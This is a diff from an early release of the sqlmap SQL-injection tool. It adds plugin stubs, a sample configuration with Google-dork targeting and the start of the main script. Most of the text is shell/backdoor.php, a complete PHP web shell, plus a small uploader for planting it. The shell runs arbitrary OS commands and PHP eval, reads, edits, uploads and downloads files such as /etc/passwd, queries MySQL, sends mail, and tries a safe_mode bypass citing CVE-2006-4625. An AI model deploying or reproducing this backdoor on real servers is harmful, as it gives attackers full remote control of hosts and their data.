sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
|
||||
|
||||
class Filesystem:
|
||||
"""
|
||||
This class defines generic OS file system functionalities for plugins.
|
||||
"""
|
||||
|
||||
def readFile(self, rFile):
|
||||
errMsg = "this plugin does not support OS file reading yet"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def writeFile(self, wFile):
|
||||
errMsg = "this plugin does not support OS file writing yet"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
58
plugins/generic/fingerprint.py
Normal file
58
plugins/generic/fingerprint.py
Normal file
|
@ -0,0 +1,58 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: fingerprint.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
|
||||
|
||||
class Fingerprint:
|
||||
"""
|
||||
This class defines generic fingerprint functionalities for plugins.
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression):
|
||||
errMsg = "'unescape' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
errMsg = "'escape' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
errMsg = "'getFingerprint' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
errMsg = "'checkDbms' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
37
plugins/generic/takeover.py
Normal file
37
plugins/generic/takeover.py
Normal file
|
@ -0,0 +1,37 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: takeover.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
|
||||
|
||||
class Takeover:
|
||||
"""
|
||||
This class defines generic OS takeover functionalities for plugins.
|
||||
"""
|
||||
|
||||
def osShell(self):
|
||||
errMsg = "this plugin does not support OS shell functionality yet"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
304
shell/backdoor.php
Normal file
304
shell/backdoor.php
Normal file
|
@ -0,0 +1,304 @@
|
|||
<?php
|
||||
@set_time_limit();
|
||||
@error_reporting(0);
|
||||
@ob_implicit_flush();
|
||||
$phpself=$_SERVER["PHP_SELF"];
|
||||
$css="body { background: #FFCC66; font-family: sans-serif; margin: auto; margin-bottom: 1em; margin-top: 1em; width: 95%; } a { color: #663300; text-decoration: none; } input, textarea { border: 1px solid gray; } pre { border: 1px dashed #663300; padding: 5px; background: #fffff0; } table { border-collapse: collapse; border: 1px solid #663300; background: #fffff0; width: 100%; } td, th { border: 1px solid #663300; padding: .3em; } thead th, tfoot th { border: 1px solid #663300; text-align: center; font-size: 1em; font-weight: bold; color: #663300; background: #FFCC66; } #maintitle { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .3em; text-align: center; } #leftbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: .5em; width: 22%; float: left; position: relative; } #rightbody { background: #FFFFFF; border: 1px solid; border-color: #663300; padding: 15px; width: 73%; float: right; position: relative; display:inline; }";
|
||||
$cssEncoded=@urlencode($css);
|
||||
|
||||
function error($message) {
|
||||
$completeMessage="<b>Error</b>: " . $message . ".";
|
||||
die($completeMessage);
|
||||
}
|
||||
|
||||
function getSymbolByQuantity($bytes) {
|
||||
$symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
|
||||
$exp=@floor(log($bytes)/log(1024));
|
||||
|
||||
return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp))));
|
||||
}
|
||||
|
||||
function ex($command) {
|
||||
$res='';
|
||||
if (@function_exists('exec')) {
|
||||
@exec($command, $res);
|
||||
$res=@join("\n", $res);
|
||||
}
|
||||
elseif (@function_exists('shell_exec')) {
|
||||
$res=@shell_exec($command);
|
||||
}
|
||||
elseif(@function_exists('system')) {
|
||||
@ob_start();
|
||||
@system($command);
|
||||
$res=@ob_get_contents();
|
||||
@ob_end_clean();
|
||||
}
|
||||
elseif (@function_exists('passthru')) {
|
||||
@ob_start();
|
||||
@passthru($command);
|
||||
$res=@ob_get_contents();
|
||||
@ob_end_clean();
|
||||
}
|
||||
elseif (@is_resource($f=@popen($command, "r"))) {
|
||||
$res="";
|
||||
while(!@feof($f)) {
|
||||
$res .= @fread($f, 1024);
|
||||
}
|
||||
@pclose($f);
|
||||
}
|
||||
$res=@htmlspecialchars($res);
|
||||
return $res;
|
||||
}
|
||||
|
||||
if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
|
||||
echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">";
|
||||
echo "<html><head>";
|
||||
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">";
|
||||
echo "<meta name=\"author\" content=\"Bernardo Damele A. G.\">";
|
||||
echo "<meta name=\"robots\" content=\"noindex,nofollow,noarchive\">";
|
||||
echo "<style type=\"text/css\">" . $css . "</style><title>sqlmap PHP backdoor</title></head>";
|
||||
echo "<body><div id=\"wrapper\" class=\"clearfix\"><div id=\"maintitle\"><h1>sqlmap PHP backdoor</h1></div><br><div id=\"leftbody\">";
|
||||
echo "<p><b>System information</b>: <a href=\"" . $phpself . "?sysinfo\">here</a><br>";
|
||||
echo "<b>PHP info</b>: <a href=\"" . $phpself . "?phpinfo\" target=\"_blank\">here</a><br>";
|
||||
echo "<b>Send an email</b>: <a href=\"" . $phpself . "?mailForm\">here</a></p>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Read a file</b><br><input type=\"text\" name=\"readFile\" value=\"/etc/passwd\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Edit a file</b><br><input type=\"text\" name=\"editFile\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Download a file</b><br>Directory: <input type=\"text\" name=\"dir\" value=\"/etc\"><br>File: <input type=\"text\" name=\"download\" value=\"passwd\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"POST\" enctype=\"multipart/form-data\"><input type=hidden name=\"MAX_FILE_SIZE\" value=\"1000000000\"><b>Upload a file</b><br><input name=\"file\" type=\"file\"><br>to directory: <input type=\"text\" name=\"uploadDir\" value=\"/tmp\"><input type=\"submit\" name=\"upload\" value=\"upload\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Browse a directory</b><br><input type=\"text\" name=\"listDir\" value=\"/etc\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
|
||||
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
|
||||
echo "<div style=\"text-align: center\">";
|
||||
echo "<a href=\"http://validator.w3.org/check/referer\"><img src=\"http://www.w3.org/Icons/valid-html401\" border=\"0\" alt=\"Valid HTML 4.01!\"></a>";
|
||||
echo "<a href=\"http://jigsaw.w3.org/css-validator/validator?text=" . $cssEncoded . "\"><img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" border=\"0\" alt=\"Valid CSS!\"></a>";
|
||||
echo "</div></div><div id=\"rightbody\">";
|
||||
}
|
||||
|
||||
if (isset($_REQUEST["sysinfo"])) {
|
||||
if (@strtolower(@substr(@PHP_OS, 0, 3)) == "win") {
|
||||
$win=1;
|
||||
}
|
||||
else {
|
||||
$win=0;
|
||||
}
|
||||
$safeMode=@ini_get("safe_mode");
|
||||
$openBaseDir=@ini_get("open_basedir");
|
||||
if ($safeMode || $openBaseDir) {
|
||||
/**
|
||||
* Exploit CVE: CVE-2006-4625
|
||||
* Affected Software: PHP 5.1.6 / 4.4.4 < = x
|
||||
* Advisory URL: http://securityreason.com/achievement_securityalert/42
|
||||
* Try to restore to default value
|
||||
*/
|
||||
ini_restore("safe_mode");
|
||||
ini_restore("open_basedir");
|
||||
}
|
||||
$magicQuotesGpc=@ini_get("magic_quotes_gpc");
|
||||
$dir=@getcwd();
|
||||
$total=@disk_total_space($dir);
|
||||
$free=@disk_free_space($dir);
|
||||
echo "<b>Operating system</b><br><pre>" . @PHP_OS;
|
||||
echo "</pre><b>Server uname</b><br><pre>" . php_uname();
|
||||
echo "</pre><b>Server uptime</b><br><pre>";
|
||||
echo ex("uptime");
|
||||
echo "</pre><b>Server time</b><br><pre>";
|
||||
echo date("D, M d, h:iA");
|
||||
echo "</pre><b>Disk space</b><br><pre>";
|
||||
echo "Total space: " . getSymbolByQuantity($total) . "<br>";
|
||||
echo "Free space: " . getSymbolByQuantity($free);
|
||||
echo "</pre><b>Web server username</b><br><pre>";
|
||||
echo (!$win) ? `id` . "<br>" : @get_current_user();
|
||||
echo "</pre><b>PHP version</b><br><pre>" . @phpversion();
|
||||
echo "</pre><b>PHP safe_mode</b><br><pre>";
|
||||
echo ($safeMode) ? "ON<br>" : "OFF<br>";
|
||||
echo "</pre><b>PHP open_basedir</b><br><pre>";
|
||||
echo ($openBaseDir) ? "ON<br>" : "OFF<br>";
|
||||
echo "</pre><b>PHP magic_quotes_gpc</b><br><pre>";
|
||||
echo ($magicQuotesGpc) ? "ON<br>" : "OFF<br>";
|
||||
echo "</pre><b>CPU information</b><br><pre>";
|
||||
echo ex("cat /proc/cpuinfo");
|
||||
echo "</pre><b>Memory information</b><br><pre>";
|
||||
echo ex("cat /proc/meminfo");
|
||||
echo "</pre><b>Open ports and active connections</b><br><pre>";
|
||||
echo ex("netstat -nat");
|
||||
echo "</pre><b>Network devices</b><br><pre>";
|
||||
echo ex("/sbin/ifconfig -a");
|
||||
echo "</pre><b>Processes</b><br><pre>";
|
||||
echo ex("ps auxfww");
|
||||
echo "</pre>";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["phpinfo"])) {
|
||||
echo @phpinfo();
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["readFile"])) {
|
||||
$file=$_REQUEST["readFile"];
|
||||
$fileHandler=@fopen($file, "rb") or error("Unable to read file <code>" . $file . "</code>");
|
||||
$fileContent=@file_get_contents($file);
|
||||
echo "<p>File: <code>" . $file . "</code><p>";
|
||||
echo "<pre>" . @htmlspecialchars($fileContent) . "</pre>";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["editFile"])) {
|
||||
$file=$_REQUEST["editFile"];
|
||||
if (!$file) {
|
||||
error("Specify the file to edit");
|
||||
}
|
||||
$fileHandler=@fopen($file, "rb") or error("Unable to read file <code>" . $file . "</code>");
|
||||
$fileContent=@file_get_contents($file);
|
||||
echo "<form action=$phpself method=POST>";
|
||||
echo "File: <input type=text name=saveFile value=" . $file . " readonly=readonly><br><br>";
|
||||
echo "<textarea name=contentFile cols=80 rows=40>";
|
||||
echo $fileContent;
|
||||
echo "</textarea><br><input type=submit value=Save>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["saveFile"])) {
|
||||
$file=$_REQUEST["saveFile"];
|
||||
$newContent=$_REQUEST["contentFile"];
|
||||
if (@is_writable($file)) {
|
||||
$fileHandler=@fopen($file, "w+") or error("Unable to read file <code>" . $file . "</code>");
|
||||
@fwrite($fileHandler, $newContent) or error("Unable to write on file <code>" . $file . "</code>");
|
||||
echo "File <code>" . $file . "</code> successfully written";
|
||||
@fclose($fileHandler);
|
||||
}
|
||||
else {
|
||||
error("File <code>" . $file . "</code> is not writable");
|
||||
}
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["download"])) {
|
||||
ob_clean();
|
||||
$dir=$_REQUEST["dir"];
|
||||
$file=$_REQUEST["download"];
|
||||
$filename=$dir. "/" . $file;
|
||||
$fileHandler=@fopen($filename, "rb") or error("Unable to read file <code>" . $file . "</code>");
|
||||
$fileContent=@file_get_contents($filename);
|
||||
header("Content-type: application/octet-stream");
|
||||
header("Content-length: " . strlen($fileContent));
|
||||
header("Content-disposition: attachment; filename=" . $file . ";");
|
||||
echo $fileContent;
|
||||
exit;
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["upload"])) {
|
||||
if (!isset($_REQUEST["uploadDir"])) {
|
||||
error("Specify directory name (ig: /tmp)");
|
||||
}
|
||||
$dir=$_REQUEST["uploadDir"];
|
||||
$file=$HTTP_POST_FILES["file"]["name"];
|
||||
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or error("File upload error");
|
||||
@chmod($dir . "/" . $file, 0755) or error("Unable to set file permission on <code>" . $file . "</code>");
|
||||
echo "<p>File <code>" . $file . "</code> successfully uploaded to <code>" . $dir . "</code></p>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["listDir"])) {
|
||||
$dirToOpen=$_REQUEST["listDir"];
|
||||
$dirHandler=@opendir($dirToOpen) or error("Unable to open directory");
|
||||
echo "<p>Directory: <code>" . $dirToOpen . "</code></p>";
|
||||
echo "<table border=1><tr><thead><th>Name</th><th>Permission</th><th>Owner/Group</th><th>Size</th><th>Read</th><th>Write</th><th>Download</th></thead></tr>";
|
||||
$list=array();
|
||||
while ($o=@readdir($dirHandler)) {
|
||||
$list[]=$o;
|
||||
}
|
||||
@closedir($dirHandler);
|
||||
@sort($list);
|
||||
foreach ($list as $file) {
|
||||
if ($file == ".") {
|
||||
continue;
|
||||
}
|
||||
$linkToFile=$dirToOpen . "/" . $file;
|
||||
$isdir=@is_dir($linkToFile);
|
||||
$islink=@is_link($linkToFile);
|
||||
$isfile=@is_file($linkToFile);
|
||||
echo "<tr><tbody>";
|
||||
if ($isdir) {
|
||||
echo "<td><a href=$phpself?listDir=$linkToFile>";
|
||||
}
|
||||
else if ($isfile) {
|
||||
echo "<td><a href=$phpself?readFile=$linkToFile>";
|
||||
}
|
||||
else {
|
||||
echo "<td>$linkToFile";
|
||||
}
|
||||
echo "$linkToFile</a></td>";
|
||||
echo "<td>" . @substr(@sprintf("%o", @fileperms($linkToFile)), -4) . "</td>";
|
||||
$owner=@posix_getpwuid(@fileowner($linkToFile));
|
||||
$group=@posix_getgrgid(@filegroup($linkToFile));
|
||||
echo "<td>" . $owner["name"] . "/" . $group["name"] . "</td>";
|
||||
if ($isdir) {
|
||||
echo "<td>DIR</td>";
|
||||
}
|
||||
else if ($islink) {
|
||||
echo "<td>LINK</td>";
|
||||
}
|
||||
else if ($isfile) {
|
||||
echo "<td>" . @sprintf("%u", @filesize($linkToFile)) . " bytes</td>";
|
||||
}
|
||||
else {
|
||||
echo "<td>Unknown</td>";
|
||||
}
|
||||
echo (@is_readable($linkToFile) && $isfile) ? "<td><a href=$phpself?readFile=$linkToFile>Read</a></td>" : "<td>-</td>";
|
||||
echo (@is_writable($linkToFile) && $isfile) ? "<td><a href=$phpself?editFile=$linkToFile>Write</a></td>" : "<td>-</td>";
|
||||
echo (@is_readable($linkToFile) && $isfile) ? "<td><a href=$phpself?dir=$dirToOpen&download=$file>Download</a></td>" : "<td>-</td>";
|
||||
echo "</tr>";
|
||||
}
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["mailForm"])) {
|
||||
echo "<form action=" . $phpself . " method=POST>";
|
||||
echo "<input name=mail type=hidden><input type=hidden name=mail>";
|
||||
echo "To: <input name=to type=text value=\"foo@bar.tld\"><br><br>";
|
||||
echo "Subject: <input name=subject type=text value=\"" . $_SERVER["HTTP_HOST"] . ": sqlmap PHP backdoor\"/><br><br>";
|
||||
echo "Body:<br><textarea cols=80 rows=40 name=msg></textarea><br>";
|
||||
echo "<input type=submit value=Send>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["mail"])) {
|
||||
$status=@mail($_REQUEST["to"], $_REQUEST["subject"], $_REQUEST["msg"]);
|
||||
echo $status ? "Mail sent" : "Failed to send mail";
|
||||
@exit;
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["cmd"])) {
|
||||
$cmd=$_REQUEST["cmd"];
|
||||
echo "<p>Shell command: <code>" . $cmd . "</code></p>";
|
||||
echo "<pre>" . ex($cmd) . "</pre>";
|
||||
}
|
||||
|
||||
else if(isset($_REQUEST["phpcode"])) {
|
||||
$code=$_REQUEST["phpcode"];
|
||||
echo "<p>PHP command: <code>" . $code . "</code></p>";
|
||||
echo "<pre>";
|
||||
echo @eval("print_r($code);");
|
||||
echo "</pre>";
|
||||
}
|
||||
|
||||
else if (isset($_REQUEST["query"])) {
|
||||
$host=$_REQUEST["host"];
|
||||
$user=$_REQUEST["user"];
|
||||
$password=$_REQUEST["password"];
|
||||
$query=$_REQUEST["query"];
|
||||
$link=@mysql_connect("$host", "$user", "$password");
|
||||
if (!$link) {
|
||||
error(@mysql_error());
|
||||
}
|
||||
$result=@mysql_query($query);
|
||||
if (!$result) {
|
||||
error(@mysql_error());
|
||||
}
|
||||
echo "<p>MySQL query: <code>" . $query . "</code></p>";
|
||||
echo "<pre>";
|
||||
while ($row=@mysql_fetch_array($result, MYSQL_ASSOC)) {
|
||||
@print_r($row);
|
||||
}
|
||||
echo "</pre>";
|
||||
@mysql_free_result($result);
|
||||
}
|
||||
|
||||
if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
|
||||
echo "</div></div></body></html>";
|
||||
}
|
||||
?>
|
12
shell/uploader.php
Normal file
12
shell/uploader.php
Normal file
|
@ -0,0 +1,12 @@
|
|||
<?php
|
||||
if (isset($_REQUEST["upload"])) {
|
||||
$dir=$_REQUEST["uploadDir"];
|
||||
$file=$HTTP_POST_FILES["file"]["name"];
|
||||
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
|
||||
@chmod($dir . "/" . $file, 0755);
|
||||
echo "Backdoor uploaded";
|
||||
}
|
||||
else {
|
||||
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap backdoor uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=WRITABLE_DIR> <input type=submit name=upload value=upload></form>";
|
||||
}
|
||||
?>
|
236
sqlmap.conf
Normal file
236
sqlmap.conf
Normal file
|
@ -0,0 +1,236 @@
|
|||
[Request]
|
||||
|
||||
# Target URL.
|
||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||
url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_brackets.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_str_like.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par2.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_str_like_par3.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_dstr_like_par.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_dstr_like_par2.php?id=1
|
||||
#url = http://127.0.0.1/sqlmap/mysql/get_int_str.php?id=1&name=luther
|
||||
|
||||
# Rather than providing a target url, let Google return target
|
||||
# hosts as result of your Google dork expression. For a list of Google
|
||||
# dorks see Johnny Long Google Hacking Database at
|
||||
# http://johnny.ihackstuff.com/ghdb.php.
|
||||
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
|
||||
googleDork =
|
||||
|
||||
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
|
||||
# parameters and HTTP User-Agent are tested by sqlmap.
|
||||
testParameter =
|
||||
|
||||
# HTTP method to perform HTTP requests.
|
||||
# Valid: GET or POST
|
||||
# Default: GET
|
||||
method = GET
|
||||
|
||||
# Data string to be sent through POST. It is mandatory only when
|
||||
# HTTP method is set to POST.
|
||||
data =
|
||||
|
||||
# HTTP Cookie header.
|
||||
cookie =
|
||||
|
||||
# HTTP Referer header. Useful to fake the HTTP Referer header value at
|
||||
# each HTTP request.
|
||||
referer =
|
||||
|
||||
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
|
||||
# at each HTTP request
|
||||
# sqlmap will also test for SQL injection on the HTTP User-Agent value.
|
||||
agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
|
||||
|
||||
# Load a random HTTP User-Agent header from file
|
||||
# Example: txt/user-agents.txt
|
||||
userAgentsFile =
|
||||
|
||||
# HTTP Authentication type. Useful only if the target url requires
|
||||
# HTTP Basic or Digest authentication and you have such data.
|
||||
# Valid: Basic or Digest
|
||||
aType =
|
||||
|
||||
# HTTP Authentication credentials. Useful only if the target url requires
|
||||
# HTTP Basic or Digest authentication and you have such data.
|
||||
# Syntax: username:password
|
||||
aCred =
|
||||
|
||||
# Use a HTTP proxy to connect to the target url.
|
||||
# Syntax: http://url:port
|
||||
proxy =
|
||||
|
||||
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
||||
# to be used in the inference SQL injection attack.
|
||||
# Default: 1
|
||||
threads = 1
|
||||
|
||||
|
||||
[Injection]
|
||||
|
||||
# String to match in page when the query is valid, only needed if the
|
||||
# page content dynamically changes at each refresh, consequently changing
|
||||
# the MD5 of the page which is the method used by default to determine
|
||||
# if a query was valid or not. Read the documentation for further
|
||||
# details.
|
||||
string =
|
||||
|
||||
# Force back-end DBMS to this value. If this option is set, the back-end
|
||||
# DBMS identification process will be minimized as needed.
|
||||
# If not set, sqlmap will detect back-end DBMS automatically by default.
|
||||
# Valid: mssql, mysql, oracle, pgsql
|
||||
dbms =
|
||||
|
||||
|
||||
[Fingerprint]
|
||||
|
||||
# Perform an extensive back-end database management system fingerprint
|
||||
# based on various techniques.
|
||||
# Valid: True or False
|
||||
extensiveFp = False
|
||||
|
||||
|
||||
[Enumeration]
|
||||
|
||||
# Retrieve back-end database management system banner.
|
||||
# Valid: True or False
|
||||
getBanner = False
|
||||
|
||||
# Retrieve back-end database management system current user.
|
||||
# Valid: True or False
|
||||
getCurrentUser = False
|
||||
|
||||
# Retrieve back-end database management system current database.
|
||||
# Valid: True or False
|
||||
getCurrentDb = False
|
||||
|
||||
# Enumerate back-end database management system users.
|
||||
# Valid: True or False
|
||||
getUsers = False
|
||||
|
||||
# Enumerate back-end database management system users password hashes.
|
||||
# Valid: True or False
|
||||
getPasswordHashes = False
|
||||
|
||||
# Enumerate back-end database management system users privileges.
|
||||
# Valid: True or False
|
||||
getPrivileges = False
|
||||
|
||||
# Enumerate back-end database management system databases.
|
||||
# Valid: True or False
|
||||
getDbs = False
|
||||
|
||||
# Enumerate back-end database management system database tables.
|
||||
# Optional: db
|
||||
# Valid: True or False
|
||||
getTables = False
|
||||
|
||||
# Enumerate back-end database management system database table columns.
|
||||
# Requires: db and tbl
|
||||
# Valid: True or False
|
||||
getColumns = False
|
||||
|
||||
# Dump back-end database management system database table entries.
|
||||
# Requires: db and tbl
|
||||
# Optional: col
|
||||
# Valid: True or False
|
||||
dumpTable = False
|
||||
|
||||
# Dump all back-end database management system databases tables entries.
|
||||
# Valid: True or False
|
||||
dumpAll = False
|
||||
|
||||
# Back-end database management system database to enumerate.
|
||||
db =
|
||||
|
||||
# Back-end database management system database table to enumerate.
|
||||
tbl =
|
||||
|
||||
# Back-end database management system database table column to enumerate.
|
||||
col =
|
||||
|
||||
# Back-end database management system database user to enumerate.
|
||||
user =
|
||||
|
||||
# Exclude DBMS system databases when enumerating tables.
|
||||
# Valid: True or False
|
||||
excludeSysDbs = False
|
||||
|
||||
# First table entry to dump (cursor start)
|
||||
# Valid: number
|
||||
# Default: 1 (sqlmap will start to dump the table entries from the first)
|
||||
limitStart = 1
|
||||
|
||||
# Last table entry to dump (cursor stop)
|
||||
# Valid: number
|
||||
# Default: 1 (sqlmap will detect the number of table entries and dump
|
||||
# until the last)
|
||||
limitStop = 1
|
||||
|
||||
# SQL SELECT query to be executed.
|
||||
# Example: SELECT 'foo', 'bar'
|
||||
query =
|
||||
|
||||
# Prompt for an interactive SQL shell.
|
||||
# Valid: True or False
|
||||
sqlShell = False
|
||||
|
||||
|
||||
[File system]
|
||||
|
||||
# Read a specific OS file content (only on MySQL).
|
||||
# Examples: '/etc/passwd' or 'C:\boot.ini'
|
||||
rFile =
|
||||
|
||||
# Write to a specific OS file (not yet available).
|
||||
# Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt
|
||||
wFile =
|
||||
|
||||
|
||||
[Takeover]
|
||||
|
||||
# Prompt for an interactive OS shell (only on PHP/MySQL environment with a
|
||||
# writable directory within the web server document root for the moment).
|
||||
# Valid: True or False
|
||||
osShell = False
|
||||
|
||||
|
||||
[Miscellaneous]
|
||||
|
||||
# Test for UNION SELECT (inband) SQL injection.
|
||||
# Valid: True or False
|
||||
unionTest = False
|
||||
|
||||
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
|
||||
# output. No need to go blind.
|
||||
# Valid: True or False
|
||||
unionUse = False
|
||||
|
||||
# Retrieve each query output length and calculate the estimated time of
|
||||
# arrival in real time.
|
||||
# Valid: True or False
|
||||
eta = False
|
||||
|
||||
# Verbosity level.
|
||||
# Valid values:
|
||||
# 0: Silent
|
||||
# 1: Show info messages
|
||||
# 2: Show also debug messages
|
||||
# 3: Show also HTTP requests
|
||||
# 4: Show also HTTP responses headers
|
||||
# 5: Show also HTTP responses page content
|
||||
# Default: 0
|
||||
verbose = 0
|
||||
|
||||
# Update sqlmap to the latest stable version.
|
||||
# Valid: True or False
|
||||
updateAll = False
|
||||
|
||||
# Save and resume all data retrieved on a session file.
|
||||
sessionFile =
|
||||
|
||||
# Never ask for user input, use the default behaviour.
|
||||
# Valid: True or False
|
||||
batch = False
|
94
sqlmap.py
Executable file
94
sqlmap.py
Executable file
|
@ -0,0 +1,94 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: sqlmap.py 315 2008-08-03 22:10:27Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
